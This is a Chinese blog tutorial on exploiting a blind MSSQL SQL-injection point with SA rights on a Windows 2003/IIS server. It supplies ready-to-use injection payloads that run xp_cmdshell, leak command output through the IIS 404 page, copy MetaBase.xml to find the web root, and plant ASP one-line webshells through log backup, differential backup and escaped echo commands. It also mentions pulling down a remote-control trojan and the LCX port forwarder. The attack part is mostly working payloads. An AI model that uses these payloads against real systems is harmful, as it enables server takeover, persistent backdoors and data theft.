一般新手扫到不显错的SA(systemadmin)的注入点时,虽然工具能猜表列目录但还是很麻烦有的人就直接放弃了,今天我给大家演示下如何利用。方法很简单大家看操作。

我这里使用的是 火狐的插件提交参数。跟在浏览器里直接提交一样。

这里的主机环境:MSSQL+JSP 权限为不显错的SA,支持多行执行 xp_cmdshell存活 服务器处于内网,WEB和数据库在同一台服务器上。注意这里服务器操作系统是windows2003,IIS,404页面的默认路径是 C:\Windows\Help\iisHelp\common\404b.htm。

思路:

首先:

通过XP_CMDSHELL 执行命令再将执行结果指向IIS的404页面,然后访问WEB站点的一个不存在的目录得到命令执行结果,刺探服务器信息。

1.日志备份获得Webshell

2.数据库差异备份获得Webshell

4.直接下载******远控******。

5.直接下载LCX将服务器端口转发出来

6.通过XP_CMDSHELL 执行命令读取iis配置文件(C:\Windows\system32\inetsrv\MetaBase.xml )分析查找WEB站点路径并在CMD下写入转义后的一句话获得WEBSHELL上传LCX将服务器转发出来。

在这里我就不浪费大家时间了,我已经测试过  日志备份和 数据库差异备份 都没有成功 我就不演示了。  直接下载************。。这个也不用演示了。 直接在注入点后写入一个 DOWN 的VBS脚本下载就行了,

我直接演示后面一个方法

分析查找WEB站点路径并在CMD下写入转义后的一句话获得WEBSHELL

◆日志备份:

1. 进行初始备份
; Alter Database TestDB Set Recovery Full Drop Table ttt Create Table ttt (a image) Backup Log TestDB to disk = '<e:\wwwroot\m.asp>' With Init--

2. 插入数据
;Insert Into ttt Values(0x253E3C256576616C2872657175657374286368722839372929293A726573706F6E73652E656E64253E)--

0x253E3C256576616C2872657175657374286368722839372929293A726573706F6E73652E656E64253E   为 一句话木马 %><%eval(request(chr(97))):response.end%>
  
3. 备份并获得文件,删除临时表
;Backup Log <数据库名> To Disk = '<e:\wwwroot\m.asp>';Drop Table ttt Alter Database TestDB Set Recovery SIMPLE--

◆数据库差异备份

(1. 进行差异备份准备工作

;Declare @a Sysname;Set @a=db_name();Declare @file VarChar(400);Set @file=<0x633A5C746573742E617370>;Drop Table ttt Create Table ttt(c Image) Backup Database @a To Disk=@file--

上面的 0x633A5C746573742E617370  是 c:\test.asp 路径转换后的16进制编码

(2. 将数据写入到数据库
;Insert Into ttt Values(0x253E3C256576616C2872657175657374286368722839372929293A726573706F6E73652E656E64253E)--

0x253E3C256576616C2872657175657374286368722839372929293A726573706F6E73652E656E64253E   为 一句话****** %><%eval(request(chr(97))):response.end%>

3. 备份数据库并清理临时文件

;Declare @b SysName;Set @b=db_name();Declare @file1 VarChar(400);Set @file1=<0x633A5C746573742E617370>;Backup Database @b To Disk=@file1 With Differential,Format;Drop Table ttt;--

0x633A5C746573742E617370  为 c:\test.asp  删除临时文件

用^转义字符来写ASP(一句话木马)文件的方法:

1.注入点后执行;exec master.dbo.xp_cmdshell 'echo ^<script language=VBScript runat=server^>execute request^("90"^)^</script^> >c:\mu.asp';--

2.CMD下执行 echo ^<%execute^(request^("l"^)^)%^> >c:\mu.asp

读取IIS配置信息获取web路径

注入点后面执行   ;exec master..xp_cmdshell 'copy C:\Windows\system32\inetsrv\MetaBase.xml C:\Windows\Help\iisHelp\common\404b.htm'--

执行命令
     
     注入点后面执行   ;exec master..xp_cmdshell 'ver >C:\Windows\Help\iisHelp\common\404b.htm'--

参考文章:drops.wooyun.org/tips/401

MSSQL Sa账户弱口令利用总结 
https://maoxian.de/2011/12/mssql-sa%E8%B4%A6%E6%88%B7%E5%BC%B1%E5%8F%A3%E4%BB%A4%E5%88%A9%E7%94%A8%E6%80%BB%E7%BB%93/50.html

MSSQL注入SA权限不显错模式下的 入 侵的更多相关文章

  1. Mssql显错和不显错模式下的注入

    Title:Mssql显错和不显错模式下的注入 -- 2010-10-27 19:51 近期用手工注入用习惯了,便列出最近用的Mssql语句,以后方便拿来用! -------------------- ...

  2. 一次利用MSSQL的SA账户提权获取服务器权限

    遇到小人,把服务器整走了 自己手里只有sql server的sa账号密码 模糊记起之前用这个账户提权读取文件的事 百度之,发现相关信息一堆堆 各种工具也用了不少 发现不是语法错误就是权限不够 无奈之下 ...

  3. mssql注入指令

    and exists (select * from sysobjects) //判断是否是MSSQL and exists(select * from tableName) //判断某表是否存在..t ...

  4. mssql 注入

    注入查阅 .返回的是连接的数据库名 .作用是获取连接用户名 .将数据库备份到Web目录下面 ;backup database 数据库名 to disk='c:\inetpub\wwwroot\1.db ...

  5. MSSQL注入常用SQL语句整理

    很多情况下使用工具对mssql注入并不完善,所以我们就需要手工注入,一下是本人收集的一些mssql的sql语句. 手工MSSQL注入常用SQL语句 and exists (select * from ...

  6. 收集的MSSQL注入笔记

    ①判断数据库类型 and exists (select * from sysobjects)--返回正常为mssql(也名sql server)and exists (select count(*) ...

  7. MSSQL注入--反弹注入

    明明是sql注入的点,却无法进行注入,注射工具拆解的速度异常的缓慢,错误提示信息关闭,无法返回注入的结果,这个时候你便可以尝试使用反弹注入, 反弹注入需要依赖于函数opendatasource的支持, ...

  8. 大哥带的MSsql注入(SQL Server)--预习

    ①判断数据库类型and exists (select * from sysobjects)--返回正常为mssql(也名sql server)and exists (select count(*) f ...

  9. 学习笔记 MSSQL显错手工注入

    和朋友一起学习,速度就是快.感谢珍惜少年时. 网上很多都在长篇大论MSSQL显错手工注入,其实原理只有一小段.如下: ' and (查询一段内容)=1 and 'C'='Cnvarchar类型(查询一 ...

随机推荐

  1. SpringBoot设置事务管理

    关于事务就不介绍了,前面在研究spring的时候就已经研究过了,参考:https://www.cnblogs.com/qlqwjy/p/7296493.html 这里直接研究springboot中事务 ...

  2. request.getScheme()的使用方法

    今天在修改bug时,发现程序使用了 request.getScheme() .不明白是什么意思,在google 搜索了一下.现在明白了.整理如下: 1.request.getScheme() 返回当前 ...

  3. GHC extensions

    OverloadedStrings 这是最常见的一个扩展,很多时候都能看到   Haskell中,数字是num的多态,比如:   a :: Int a = 1   b :: Double b = 1 ...

  4. Android 系统启动过程详解

    android 使用 linux 内核,一般运行在 ARM 体系架构上,android 设备启动的过程,应用层之下基本等同于linux, 从应用层第一个程序init开始有所区别,下面开始介绍. ste ...

  5. 如何让natTable表格支持自定义多个右键菜单

    在nebula中,官方默认提供了一个构造natTable的builder类,并且提供了一个debugInfo的默认右键菜单,但是当我们通过官方提供的builder去创建natTable,并且要添加多个 ...

  6. Appium+python自动化14-查看webview上元素(DevTools)【转载】

    前言 app上webview的页面实际上是启用的chrome浏览器的内核加载的,如何把手机的网页加载到电脑上,电脑的chrome浏览器上有个开发模式DevTools,是可以方便调试的. 一.环境准备 ...

  7. 设计模式-python实现

    设计模式是什么? 设计模式是经过总结.优化的,对我们经常会碰到的一些编程问题的可重用解决方案.一个设计模式并不像一个类或一个库那样能够直接作用于我们的代码.反之,设计模式更为高级,它是一种必须在特定情 ...

  8. 部署站点支持Https访问的方法

    1.申请公钥和私钥,放到服务器 2.编辑default配置文件 改为 加上证书路径 ps:泛域名支持admin.xxx.com.demo.xxx.com等等,而免费的Let's Encrypt仅支持w ...

  9. AC日记——可能的路径 51nod 1247

    可能的路径 思路: 看到题目想到gcd: 仔细一看是更相减损: 而gcd是更相减损的优化版: 所以,对于每组数据判断gcd是否相等就好: 来,上代码: #include <cstdio> ...

  10. vs code 在windows10 64bit系统配置python开发环境

    一.搭建 python 环境 在 VSC 中点击 F1 键,弹出控制台,输入 ext install 界面左侧弹出扩展窗格,输入python,确认,开始搜索下载发布者为Don Jayamanne 的 ...